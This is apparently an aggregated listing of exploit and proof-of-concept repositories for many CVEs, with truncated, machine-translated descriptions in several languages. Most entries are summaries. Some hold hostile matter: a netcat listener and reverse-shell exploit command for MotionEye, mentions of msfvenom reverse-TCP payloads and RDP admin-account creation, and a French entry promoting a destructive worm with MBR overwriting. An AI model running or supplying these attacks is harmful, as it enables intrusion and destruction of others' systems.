CVE-2017-0199

एक्सप्लॉइट टूलकिट CVE-2017-0199 - v4.0 एक्सप्लॉइट टूलकिट CVE-2017-0199 - v4.0 एक उपयोगी पायथन स्क्रिप्ट है जो पेंटेस्टर्स और सुरक्षा शोधकर्ताओं को माइक्रोसॉफ्ट ऑफिस RCE का परीक्षण करने का एक त्वरित और प्रभावी तरीका प्रदान करती है। यह किसी भी जटिल कॉन्फ़िगरेशन के बिना एक दुर्भावनापूर्ण RTF/PPSX...

cve-2017-5941-poc-docker-lab

CVE-2017-5941 — إلغاء التسلسل غير الموثوق به في node-serialize RCE PoC ⚠️ لأغراض المختبر / التقييم الذاتي فقط. استخدم فقط على الأنظمة التي تملكها أو مخول باختبارها. يوفر هذا المستودع: نص PoC بسيط لإعادة إنتاج CVE-2017-5941 ضد تطبيق Node.js ضعيف يستخدم node-serialize = 0.0.4. ناقلان: POST...

CVE-2024-4040

CVE-2024-4040 ثغرة أمنية من نوع حقن القوالب من جانب الخادم Server Side Template Injection في CrushFTP في جميع الإصدارات قبل 10.7.1 و11.1.0 على جميع المنصات، تسمح للمهاجمين عن بُعد غير الموثَقين بقراءة الملفات من نظام الملفات خارج صندوق حماية VFS، وتجاوز المصادقة للحصول على صلاحيات إدارية، وتنفيذ...

Node.js-CVE-2024-39943

Node.js HFS कमांड निष्पादन भेद्यता CVE-2024-39943 व्हाइटहैट स्कूल तीसरी बैच – नो जंग-मिन @JenmrR सारांश Node.js-आधारित HFS सर्वर वातावरण में, अपलोड की गई फ़ाइल की सामग्री को childprocess.execSync पर निष्पादित करने वाली एक भेद्यता मौजूद है। हमलावर फ़ाइल अपलोड सुविधा के माध्यम से OS कमांड को सीधे...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 इंजेक्शन से शेल प्राप्त करना URL को encode करने, postrequest, getrequest के लिए...

CVE-2017-9544

CVE-2017-9544 استغلال لسعة تجاوز في المخزن المؤقت القائم على SEH في Easy Chat Server CVE-2017-9544 مبني على: pwntools msfvenom / reversetcp payload ropper x64dbg التطبيق القابل للاستغلال متاح على https://www.exploit-db.com/exploits/42155 الإعداد قم بتعيين IP الضحية إلى 192.168.15.100 وابدأ تشغيل...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 विंडोज रिमोट डेस्कटॉप सेवाओं में दूरस्थ कोड निष्पादन की अनुमति देने वाली कमजोरी root@kitploit: 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Eksploitasi Otomatis untuk Layanan RDP yang Rentan BlueKeep & Beyond 🔓 Membuat akun admin • 🪟 Mengaktifkan RDP • 📶 Verifikasi akses otomatis --- ⚠️...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

CVE-2019-5010

CVE-2019-5010 लेखक: Jonathan M. Wilbur कॉपीराइट वर्ष: 2019 लाइसेंस: MIT License उपयोग कैसे करें 1. सभी निर्भरताएँ स्थापित करने के लिए npm install चलाएँ। 2. प्रोजेक्ट को संकलित करने के लिए npm run build का उपयोग करें। 3. node ./dist/index.js चलाएँ ताकि ./dist/cve-2019-5010-cert.pem में...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — SmarterMail की गंभीर भेद्यता स्थिति: 🔥 गंभीर — तत्काल कार्रवाई आवश्यक CVSS v3.1 स्कोर: 10.0 / 10 प्रकटीकरण तिथि: 29–30 दिसंबर, 2025 🧩 भेद्यता सारांश CVE-2025-52691 एक गंभीर, बिना प्रमाणीकरण वाली मनमानी फ़ाइल अपलोड भेद्यता है जो SmarterTools SmarterMail सर्वर को प्रभावित करती है...

CVE-2025-63406-PoC

CVE-2025-63406 प्रूफ ऑफ कॉन्सेप्ट स्थापना root@kitploit: Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt उपयोग root@kitploit: python3 CVE-2025-63406.py...

cve-2022-22947

cve-2022-22947 Spring Cloud Gateway Spring mein ek API gateway hai. Iske 3.1.0 aur 3.0.6 version shamil se pehle ek SpEL अभिव्यक्ति इंजेक्शन भेद्यता maujood thi, jab attacker Actuator API tak pahunch sakta hai, to woh is भेद्यता ka upyog karke koi bhi command execute kar sakta hai. उपयोग:...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 भेद्यता का बड़े पैमाने पर स्कैन और शोषण भेद्यता के बारे में विवरण याद रखें, OpenSSH एक सॉफ्टवेयर है जो SSH प्रोटोकॉल को लागू करता है, जिसका उपयोग अक्सर लिनक्स या विंडोज मशीनों से दूरस्थ प्रशासन के लिए सुरक्षित रूप से जुड़ने के लिए किया जाता है। OpenSSH 9.1 में शामिल,...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 تم تحديث PoC لـ Watchguard CVE-2022-26318 ليعمل مع Python3.12 نظرًا لأن ssl.wrapsocket مهمل. PoC مأخوذ أصلاً من https://github.com/h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318/blob/main/POCwg.py...

CVE-2019-16692

CVE-2019-16692 كود استغلال لـ CVE-2019-16692، ثغرة في phpIPAM...

CVE-2017-5638

CVE-2017-5638 جدول المحتويات 1. نظرة عامة 2. التبعيات 3. الاستخدام نظرة عامة هذا المشروع هو إثبات مفهوم لثغرة Apache Struts. كان الهدف إنشاء برنامج يمكنه توليد واختبار عناوين IP عشوائية للثغرة الموضحة أعلاه. استخدم هذا المشروع على مسؤوليتك الخاصة ولأغراض تعليمية فقط. التبعيات cURL يستخدم cURL...

Exploit-CVE-2014-4210-

COMMENCE PAR UN TRUC COOL MECUTILISE-LE POUR DÉCONNER AMÉLIORATIONS POUR CAUSER LA SOUFFRANCE HUMAINE : 1. Ver auto-réplicant : Se propage via des attaques SSH par force brute / exploits SMB vers tous les réseaux connectés. 2. Écrasement du MBR : Brick le matériel physique en détruisant les table...

CVE-2020-1938-Clean-Version

CVE-2020-1938-Clean-Version CVE-2020-1938GhostCat स्वच्छ और पढ़ने योग्य कोड संस्करण मैं...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE प्रमाणित RCE MotionEye = 0.43.1b4 में imagefilename फ़ील्ड पर क्लाइंट-साइड सत्यापन बाईपास के माध्यम से। उपयोग root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 झंडे...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 بيئة إعادة إنتاج الثغرات هذا هو الحد الأدنى من MVP لإعادة إنتاج ثغرات React2Shell CVE-2025-55182 و Next.js RSC RCE CVE-2025-66478. ⚠️ تحذير هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. لا تستخدمه في بيئات الإنتاج أو على أنظمة غير مصرح بها. نظرة عامة على الثغرا...